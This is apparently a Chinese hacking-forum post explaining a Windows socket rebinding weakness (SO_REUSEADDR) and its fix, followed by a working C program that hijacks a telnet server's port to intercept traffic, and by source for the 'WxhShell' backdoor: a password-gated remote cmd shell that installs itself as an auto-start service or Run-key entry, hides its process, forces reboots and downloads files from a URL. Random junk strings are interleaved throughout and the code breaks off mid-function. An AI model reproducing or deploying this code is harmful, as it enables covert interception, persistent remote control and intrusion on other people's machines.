-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mXyP;k s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;NRh0)%|o [C6ba{9B saddr.sin_family = AF_INET; n
Ab~ ?}s;,_GH saddr.sin_addr.s_addr = htonl(INADDR_ANY); L>sLb(2\i <6 Rec^QF bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9Tt%~m^ pK3A/ry< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @y;VV* .@OQ$D < 这意味着什么?意味着可以进行如下的攻击: Pa3-0dUr !9/`PcNIpy 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QNMZR <>\|hno} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `Fr ,,Q81\ -GPBX? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iG6]Pr|;e R~oJ-}iYX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 WC~;t4 OmWEa 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Yt(FSb31H E! NtD).=S 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hp'oiR;~w =exCpW> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e*}zl>f Ie^Ed` #include > U?\WgE$ #include )9yQ
C #include 1}=D #include T"Y#u DWORD WINAPI ClientThread(LPVOID lpParam); iLSUz j` int main() I8J>>H'#A { H;nzo3x WORD wVersionRequested; 3O$l;|SX DWORD ret; `Uz.9_6 WSADATA wsaData; ~3:hed7: BOOL val; YTefEG]|q SOCKADDR_IN saddr; # `E SOCKADDR_IN scaddr; kb2C9< int err; U U_0@V< SOCKET s; /=6_2t#vA SOCKET sc; qco'neR"z int caddsize; # atq7tX HANDLE mt; >]~581fYf DWORD tid; :
Z<\R0 wVersionRequested = MAKEWORD( 2, 2 ); PDD2ouv4 err = WSAStartup( wVersionRequested, &wsaData ); `S|F\mI~
if ( err != 0 ) { $GRw k>N printf("error!WSAStartup failed!\n"); 9abUh3 return -1; a[~[lk=7 } GCN-T1HvA2 saddr.sin_family = AF_INET; L.@$rFhA |9S8sfw //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <h/q^| tZ{ M{24MF saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g.9C>>tj saddr.sin_port = htons(23); _$>);qIP4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aF?_V!#cT { vf3) T;X> printf("error!socket failed!\n"); geyCS3
:p return -1; Lbz/M_G } @QmN= X5 val = TRUE; h7E?7nR //SO_REUSEADDR选项就是可以实现端口重绑定的 SnFyK5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ck]I? { C%yH}T\s printf("error!setsockopt failed!\n"); As)?~dV return -1; F!#)l*OX; } im&N&A //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Zt9G[[] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D*- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /W,hOv 0 j!<eN= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g]&fyB# { -M=BD-_.h ret=GetLastError(); xFp$JN printf("error!bind failed!\n"); zy$jTqDH return -1; $jh$nMx)! } ^ou)c/68aQ listen(s,2); _@B? while(1) _\+]/rY9o { UiV#w#&P caddsize = sizeof(scaddr); Z]b;%:>= //接受连接请求 4Px|:7~wT8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a+LK~mC* if(sc!=INVALID_SOCKET) ,HDhP { x] wi& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `e'wWV if(mt==NULL) FA,n> { o$L%t@ printf("Thread Creat Failed!\n"); |E6_TZ#= break; e:
Sd#H! } JR`$t~0t } aWTurnee^ CloseHandle(mt); [6l0|Y } -hnNaA closesocket(s); A;rk4)lij WSACleanup(); Ox J0." return 0; _$$.5?4 } xT&~{,9 DWORD WINAPI ClientThread(LPVOID lpParam) 3mU~G}ig { hev;M)t SOCKET ss = (SOCKET)lpParam; Zm*d)</> SOCKET sc; ~vDa2D<9% unsigned char buf[4096]; _(J#RH SOCKADDR_IN saddr; Y({
R\W| long num; k#pO+[ x DWORD val; Mu/(Xp6 2 DWORD ret; :u9'ZHkZ //如果是隐藏端口应用的话,可以在此处加一些判断 DQ+6VPc^o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 \l(J6Tu saddr.sin_family = AF_INET; 8zeeC
eI U saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >6Uc|D saddr.sin_port = htons(23); L,A+" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |1CX?8)b= { 3\}u#/Vb printf("error!socket failed!\n"); \9`E17i return -1; 7Q|<6210 } &X:;B' val = 100; =M-=94 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vzs4tkG { fWJpy#/^*K ret = GetLastError(); toGd;2rl return -1; ?0:]%t18 } ,!Q nh: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R4 eu,,J { U:8]G ret = GetLastError(); z0LspRaz return -1; vW eg1 } =cV|o] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z4Q]By:/L { O'(Us!aq printf("error!socket connect failed!\n"); ( gg )? closesocket(sc); AJB
NM closesocket(ss); sm'_0EUg return -1; j=T8b } bDl#806P L while(1) %C`P7&8m=O { N,lr~6) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F<{,W-my ` //如果是嗅探内容的话,可以再此处进行内容分析和记录 Az y`4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .g}N@ num = recv(ss,buf,4096,0); BNJ0D if(num>0)
Z:^#9D{ send(sc,buf,num,0); M>5OC)E else if(num==0) + Fo^NT break; BAXu\a-C_ num = recv(sc,buf,4096,0); o3+s.7 " if(num>0) rP]|`*B send(ss,buf,num,0); _D}3`` else if(num==0) 4o M~ break; Lqxhy s } vrb@::sy0T closesocket(ss); `Gv\"|Gn closesocket(sc); N9|J\;fzT return 0 ; .?s jr4 } o@gceZuk #pPOQv:~ .*YF{!R`h ========================================================== )B
$Q QWa@?BO2p 下边附上一个代码,,WXhSHELL W8bp3JX" F8<G9#%s\ ========================================================== ByP<-Deh !0hyp |F:> #include "stdafx.h" \E,2VM@6 ?=4oxPe #include <stdio.h> =YVxQj #include <string.h> !HU$V9C #include <windows.h> YK{J"Kof #include <winsock2.h> 'cc8xC #include <winsvc.h> $"NH{%95} #include <urlmon.h> hfI=9x/ x&DqTX?b, #pragma comment (lib, "Ws2_32.lib") 6bUP]^d #pragma comment (lib, "urlmon.lib") 0,~s0]h0V sAU%:W{ #define MAX_USER 100 // 最大客户端连接数 &'i_A%V #define BUF_SOCK 200 // sock buffer bL* b>R[x #define KEY_BUFF 255 // 输入 buffer Gr\jjf` [;IE Z/ZX #define REBOOT 0 // 重启 L&s~j/pR #define SHUTDOWN 1 // 关机 {1Cnrjw 75p9_)>96 #define DEF_PORT 5000 // 监听端口 _!zc <&~I +`wr{kB$~ #define REG_LEN 16 // 注册表键长度 UfPB-EFl$D #define SVC_LEN 80 // NT服务名长度 7/a7p(
>b"@{MZ@t // 从dll定义API ,N:^4A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,w6?Ap typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X@[5nyILf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8tSY|ME typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kJ"rRsK lz>00B<Z // wxhshell配置信息 Bj4c_YBte struct WSCFG { vkJyD/;= int ws_port; // 监听端口 `:7r5}(^ char ws_passstr[REG_LEN]; // 口令 W=A0+t%XC int ws_autoins; // 安装标记, 1=yes 0=no Tv7W)?3h char ws_regname[REG_LEN]; // 注册表键名 K_Y{50# char ws_svcname[REG_LEN]; // 服务名 2~hdJ/ char ws_svcdisp[SVC_LEN]; // 服务显示名 wN'S+4 char ws_svcdesc[SVC_LEN]; // 服务描述信息 n:40T1:q char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,=C ipL9] int ws_downexe; // 下载执行标记, 1=yes 0=no \?v&JmEU char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" qspGNu char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X\!q8KEpR& MF.!D;s }; IWi0? V Hk+44 // default Wxhshell configuration ^k%+ao struct WSCFG wscfg={DEF_PORT, l
opl "xuhuanlingzhe", gzi=+oJ|4 1, ?;](;n#lU "Wxhshell", >F^$
' b] "Wxhshell", t)8crX}P "WxhShell Service", j%3$ytf|p "Wrsky Windows CmdShell Service", Tx&H1 "Please Input Your Password: ", 2X' H^t]7 1, 037\LPO " http://www.wrsky.com/wxhshell.exe", XelFGT E "Wxhshell.exe" "24d:vf\ }; 6[XaIco=C {BM:c$3@j // 消息定义模块 VB |k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mz$qe char *msg_ws_prompt="\n\r? for help\n\r#>"; b/\O;o}] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; An(gHi;1$ char *msg_ws_ext="\n\rExit."; v,ecNuy*d char *msg_ws_end="\n\rQuit."; @>U9CL" char *msg_ws_boot="\n\rReboot..."; wH@<0lw`< char *msg_ws_poff="\n\rShutdown..."; OO/>}? ob char *msg_ws_down="\n\rSave to "; zx"EAF{ Ke@Bf
char *msg_ws_err="\n\rErr!"; ]b}3f< char *msg_ws_ok="\n\rOK!"; < q(i(% yD3vq}U! char ExeFile[MAX_PATH]; }mp`!7?>O int nUser = 0; P JKY$s. HANDLE handles[MAX_USER]; *vBhd2HO int OsIsNt; o|n;{zT" J%ws-A?6rN SERVICE_STATUS serviceStatus; h\#4[/ SERVICE_STATUS_HANDLE hServiceStatusHandle; C`Vuw|Xl 1G`5FU // 函数声明 o+OX^F0 int Install(void); *tZ3?X[b int Uninstall(void); UE_>@_T int DownloadFile(char *sURL, SOCKET wsh); BSy4
d> int Boot(int flag); 4V@0L void HideProc(void); !#]kzS0 int GetOsVer(void); EX<1hAw int Wxhshell(SOCKET wsl); o>]w76A^( void TalkWithClient(void *cs); ]igCV int CmdShell(SOCKET sock); "e\73?P int StartFromService(void); O+XQP!T int StartWxhshell(LPSTR lpCmdLine); oKSW:A $(J)F-DB i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wAR:GO'n VOID WINAPI NTServiceHandler( DWORD fdwControl ); _kOuD}_| i-0AcN./p // 数据结构和表定义 T06w`'aL SERVICE_TABLE_ENTRY DispatchTable[] = <5]_u: { 4mBM5Tv {wscfg.ws_svcname, NTServiceMain}, UlN}SddI9 {NULL, NULL} /Y\q&} }; -{eiV0<^ b N>Ar // 自我安装 /mE:2K]C int Install(void) c?xeBC1- { vA*NJ%&` char svExeFile[MAX_PATH]; ZQz;EV! HKEY key; {XhpxJ__ strcpy(svExeFile,ExeFile); )}w-;HX 2s 9U& // 如果是win9x系统,修改注册表设为自启动 'uUa|J1mu if(!OsIsNt) { ?\Y7]_]/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0x'Fi2=` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W#b++}S RegCloseKey(key); mMhe,8E& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _;(QMeR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qw%0<~< RegCloseKey(key); Z#%77!3 return 0; )Knsy } 8v;T_VN } n!b*GXb\ } $[=`*m else { ?K}KSJ6_ JLyFkV/
// 如果是NT以上系统,安装为系统服务 84Hm
PPt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WFeaX7\b if (schSCManager!=0) 5U<o%+^El { A]V<K[9:b SC_HANDLE schService = CreateService mW_A3S5 ( Q%GLT,f1. schSCManager, ^eYJ7&t wscfg.ws_svcname, C$c.(5/O wscfg.ws_svcdisp, ^n]?!BdU SERVICE_ALL_ACCESS, 78b9Sdi& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =(k0^#++G SERVICE_AUTO_START, hU2N{Ac SERVICE_ERROR_NORMAL, tK <)A) svExeFile, @D<Q'7mLh NULL, ~b4fk^u`+ NULL, }>j1j^c1=' NULL, ?~Vev D NULL, Ug O \+cI NULL >yqL ); }% |GV if (schService!=0) R?%|RCht1 { inGH'nl_ CloseServiceHandle(schService); ~u-`L+G"6 CloseServiceHandle(schSCManager); h"nv[0!) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0$nJd_gW_ strcat(svExeFile,wscfg.ws_svcname); U`'w{~"D% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :(x 90;DW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /%N~$ &wW RegCloseKey(key); wA)R7%& return 0; XlNB9\"5 } s*}d`"YvH } 0$49X CloseServiceHandle(schSCManager); b}G +7B } ]7"mt2Q=3 } 0P53dF BQ&h&57K return 1; /L[:C=u } }`^<ZNkb/ ` }Hnj* // 自我卸载 1$2Rs-J int Uninstall(void) CUw
9aH { 1r w>gR HKEY key; qOa-@MN oq<# if(!OsIsNt) { Bp6Evi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -XY]WWlq RegDeleteValue(key,wscfg.ws_regname); (/Y
gcT RegCloseKey(key); &q` =xF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QnOa?0HL/ RegDeleteValue(key,wscfg.ws_regname);
p|bpE F=U RegCloseKey(key); ]g+(#x_.? return 0; IweQB} d } qx? lCz a" } en~(XE1 } eZJOI1wNp else { i|d41u;@ y.eBFf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;NPb if (schSCManager!=0) %r,2ZLZ { *'t`;m~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }&naP if (schService!=0) ,!py
n<_ { =O_[9kuJ if(DeleteService(schService)!=0) { da^9Fb CloseServiceHandle(schService); ta4<d)nB CloseServiceHandle(schSCManager); Vis?cuU/ return 0; E0h!%/+-L } kI;^V CloseServiceHandle(schService); WK^qYfq| } 1!NaOfP;@ CloseServiceHandle(schSCManager); dX3>j{_ } %E!0,y,: } fu&]t8MJC G`W+m*[U+M return 1; vA{[F7 } u1kbWbHu( hP#&]W3: // 从指定url下载文件 \%^3Izsc int DownloadFile(char *sURL, SOCKET wsh) LOYv%9$0*p { nb!m>0*/ HRESULT hr; CUd'*Ewu char seps[]= "/"; V7v,)a" L char *token; |3cR'|<Ual char *file; <z4!m/f[( char myURL[MAX_PATH]; *ZEs5`x char myFILE[MAX_PATH]; pV+;/y_ Kj>_XaFCg! strcpy(myURL,sURL); 8ksDXf`. token=strtok(myURL,seps); %?$"oWmenS while(token!=NULL) JZ7-?
o { nC Z file=token; Fy@D&j token=strtok(NULL,seps); d$Xvax,C } U\z+{]<< ?0<3"2Db~ GetCurrentDirectory(MAX_PATH,myFILE); n#fg7d% strcat(myFILE, "\\"); 0?sp strcat(myFILE, file); Aws
TDM send(wsh,myFILE,strlen(myFILE),0); _[7uLWyC9 send(wsh,"...",3,0); ]_,~q@r$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *]=)mM# if(hr==S_OK) m
;vNA return 0; 5f5`7uVJF else eyWwE% return 1; DQ}]'*@? iB`m!g6$ } oAx0$]+%V) ,O+7nByi[V // 系统电源模块 1$W!<:uh int Boot(int flag) ~}11 6K { KP(Bu0S
HANDLE hToken; %"6IAt TOKEN_PRIVILEGES tkp; NlMx!f>b%/ 3^a"$VW1 if(OsIsNt) { L$Q+R' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1 &<@(S< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '37b[~k4 tkp.PrivilegeCount = 1; :[&X*bw[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /_|1,x-Kx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?~{xL" if(flag==REBOOT) { ^b#E%Rd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]=3O,\ return 0; J @fE") } 4SrK]+| else { ^s*} 0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )wRD return 0; U8mu<) } pf_ /jR } 2^aTW`>L else { >seB["C if(flag==REBOOT) { BSY#xe V if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m @%|Q; return 0; wMoAvA_oS } @!da1jN else { +9J>'oe'D if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^b~5zhY& return 0; J Nz0!wi }
df'g},_ } L9@jmh*E `vSsgG return 1; ){:aGGtko } v(O.GhJ@ ;=OH=+Rl // win9x进程隐藏模块 5PPpX =\ void HideProc(void) oX~CTunP { (YOgQ)}, I .ty-X] HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z"#.o^5 if ( hKernel != NULL ) !)=o,sVA { CmOb+:4@K pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ul
Iw&U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8E+l;2 FreeLibrary(hKernel); jlBCu(.,_ } }t'^Au`X fL;p^t u3 return; ULjzhy+(8 } !Xi>{nV d#Ajb // 获取操作系统版本 ]N_^{k, int GetOsVer(void) 8.':pY'8" { C.-a:oQ[ OSVERSIONINFO winfo; o{p_s0IX;S winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ise}> A!t GetVersionEx(&winfo); ,0bM*qob if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MVdx5,t return 1; :N}KScS|Wa else eZi<C}z return 0; (&,R1dLo } M'iKk[Hjfx ~@a
R5Q>us // 客户端句柄模块 _O%p{t'q< int Wxhshell(SOCKET wsl) DG=Ap:sl*$ { h :R)KM SOCKET wsh; 0)!zhO_} struct sockaddr_in client; ,be?GAq DWORD myID; Gu).*cU rR~X>+K while(nUser<MAX_USER) `WS_*fJ5 { 8)8oR&(f int nSize=sizeof(client); sIsu >eL wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5nAF =Bj if(wsh==INVALID_SOCKET) return 1; [)~@NN )g_zPt handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^E17_9? if(handles[nUser]==0) ,IE0+!I closesocket(wsh); ,v_r$kh^ else Y;Gm, nUser++;
YPnJldVn } u0b-JJ7)BQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J
*?_SnZ Vz]=J;`Mz return 0; C:MGi7f } x~^I/$ |81N/]EER // 关闭 socket 6~WE#z_ void CloseIt(SOCKET wsh) o q)"1 { d
A{Jk closesocket(wsh); |"w<CKlQ nUser--; J94YMyOo ExitThread(0); @0,dyg<$> }
a|uZJ* f"N3;,Oc // 客户端请求句柄 {PtTPz void TalkWithClient(void *cs) 8 {%9%{ { L"%eQHEC& z
5+]Z a~ SOCKET wsh=(SOCKET)cs; +lJ]-U|P char pwd[SVC_LEN]; 8T
)ELhTj char cmd[KEY_BUFF]; J6D$ i+ char chr[1]; Ilb
|:x"L int i,j; N06O.bji agT[y/gb while (nUser < MAX_USER) { e~]e9-L>I }yDq\5s
Q[ if(wscfg.ws_passstr) { v:1Vli. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9mphj)`d;# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gEHfsR=D6 //ZeroMemory(pwd,KEY_BUFF); ArzsZ<\// i=0; d ovwB`5 while(i<SVC_LEN) { ^l&4UnLlc _4B iF?1 // 设置超时 n@[</E( fd_set FdRead; .BDRD~kB struct timeval TimeOut; TJS1,3< FD_ZERO(&FdRead); kTc5KHJ7 FD_SET(wsh,&FdRead); F{~r7y;0 TimeOut.tv_sec=8; @ ]wem TimeOut.tv_usec=0; n4T2'e int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p+UHJ& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <JM%Kn ) ^Jl!WH=20} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T)f_W pwd =chr[0];
0P3|1= if(chr[0]==0xd || chr[0]==0xa) { @aN=U= pwd=0; +{i"G,3 break; ef:$1VIBda } ]G~N+\8]U i++; QYw4kD} } >E ;o" edk9Qd9 // 如果是非法用户,关闭 socket `+BaDns if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [3sxzU!t~ } TxxB0 nk$V{(FJ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o+Ti$`2<O7 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ur,"K'w =k<4mlok^ while(1) { #s
R0* A6 y~_dt ZeroMemory(cmd,KEY_BUFF); Hs-.83V _QUu'zJ // 自动支持客户端 telnet标准 G|oB'~{& j=0; &\lS while(j<KEY_BUFF) { [piF MxZP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z6([/n cmd[j]=chr[0]; wp*&&0O! if(chr[0]==0xa || chr[0]==0xd) { 9iddanQA cmd[j]=0; vJAAAS break; G[<[#$( } [Ro0eH j++; /Q>{YsRRB } 3/IWO4?_ dzE Q$u/I // 下载文件 ?$@KwA if(strstr(cmd,"http://")) { m-S33PG{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;E? hz if(DownloadFile(cmd,wsh)) DEp%\sj? send(wsh,msg_ws_err,strlen(msg_ws_err),0); lJ] \ else 4OZ5hH
h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mx(%tz^t } QDgEJ%U- else { QD;f~fZ (6#yw`\ switch(cmd[0]) { H0b6ZA%n K!D!b'|bb // 帮助 Pzm!`F^r} case '?': { K9O,7h:x send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FDd>(!> break; E<#4G9O< } 9H, &nET // 安装 &G@-yQ case 'i': { Kg TGxCH if(Install()) kl3S~gE4@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); MLD>"W else "kBqY+:Cn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P2Qyz}!wo break; r{B,uj" } 0.BUfuuh // 卸载 &kjwIg{ case 'r': { fzFvfMAU if(Uninstall()) R4~zL!7; send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wt)SdF=U/ else ZH$sMh<xg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZOrTbik break; bu"68A;> } ic0v*Y$ // 显示 wxhshell 所在路径 IL>/PuZku case 'p': { ,F`KQ
)\" char svExeFile[MAX_PATH]; |`Oa/\U strcpy(svExeFile,"\n\r"); Y9@dZw%2 strcat(svExeFile,ExeFile); Ij6Wz.* send(wsh,svExeFile,strlen(svExeFile),0); _]D#)-uv}C break; ;4/dk_~p] } D"x$^6`c} // 重启 F@K*T2uh case 'b': { q~Q)'*m send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,JQxs7@2k if(Boot(REBOOT)) @X|i@{<'; send(wsh,msg_ws_err,strlen(msg_ws_err),0); iy.%kHC else { @
Zgl> closesocket(wsh); 3gI[]4lRH ExitThread(0); Z?~d']XD } e:GgA break; [*?_ } }@:QYTBi } // 关机 O{B
e )E~ case 'd': { csdOIF send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u$%D9Z ^ if(Boot(SHUTDOWN)) g",w kO| send(wsh,msg_ws_err,strlen(msg_ws_err),0); d(DX(xg else { :<t{ =0G closesocket(wsh); CEX}`I*- ExitThread(0); 4g 6ksdFQ } ?lc[hH break; r}y[r}vk } V@f6Lj // 获取shell ^0`<k case 's': { "Ql}Y1 CmdShell(wsh); ] [HGzHA closesocket(wsh); E/dO7I`B ExitThread(0); }ED
nLou break; vlPl(F1 } FV^4 // 退出 aucZJjH case 'x': { S[L#M;n send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %CxEZPe$ CloseIt(wsh); ie$`pyj!x break; (!0j4' } kh<pLI >$h // 离开 yWv<A^C& case 'q': { `s>UU- 9 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4{*tn"y closesocket(wsh); |ilv|U V WSACleanup(); XJ:>UNf5; exit(1); q4Oxs break; 7ZV~op2Q } yNrinYw } l- 1]w$
y } SY$J+YBLM `sk!C7% // 提示信息 m1hW< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u(1J=h } 2<[eD`u } SLJ&{`"7 9@#h}E1$ return; QM[A;WBr7 } })o~E q:Y6fbt<7 // shell模块句柄 CYPazOfj int CmdShell(SOCKET sock) (2 T#/$ { +9CEC1-l STARTUPINFO si; *%T)\\H2 ZeroMemory(&si,sizeof(si)); I #M%%5e si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^s^JzFw si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2gd<8a' ' PROCESS_INFORMATION ProcessInfo; 861i3OXVE> char cmdline[]="cmd"; Gh]_L+ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hncS_ZA return 0; Pv/Pww\ } )|w*/JK\Z 4AY
_#f5u // 自身启动模式 *<*0".# int StartFromService(void) & Fg|%,fv] { -,~;qSs typedef struct }O,U2=Hw`] { xl+DRPzl DWORD ExitStatus; zH)cU%I@. DWORD PebBaseAddress; 2PVx++*]C DWORD AffinityMask; F . K2 DWORD BasePriority; O!+nF]V4f ULONG UniqueProcessId; ~lzdbX ULONG InheritedFromUniqueProcessId; lQV|U;~D } PROCESS_BASIC_INFORMATION; _ yfdj[Ot` X5uS>V%/ PROCNTQSIP NtQueryInformationProcess; ] vC=.&] 1Yc%0L( static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hD nM+4D static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _\
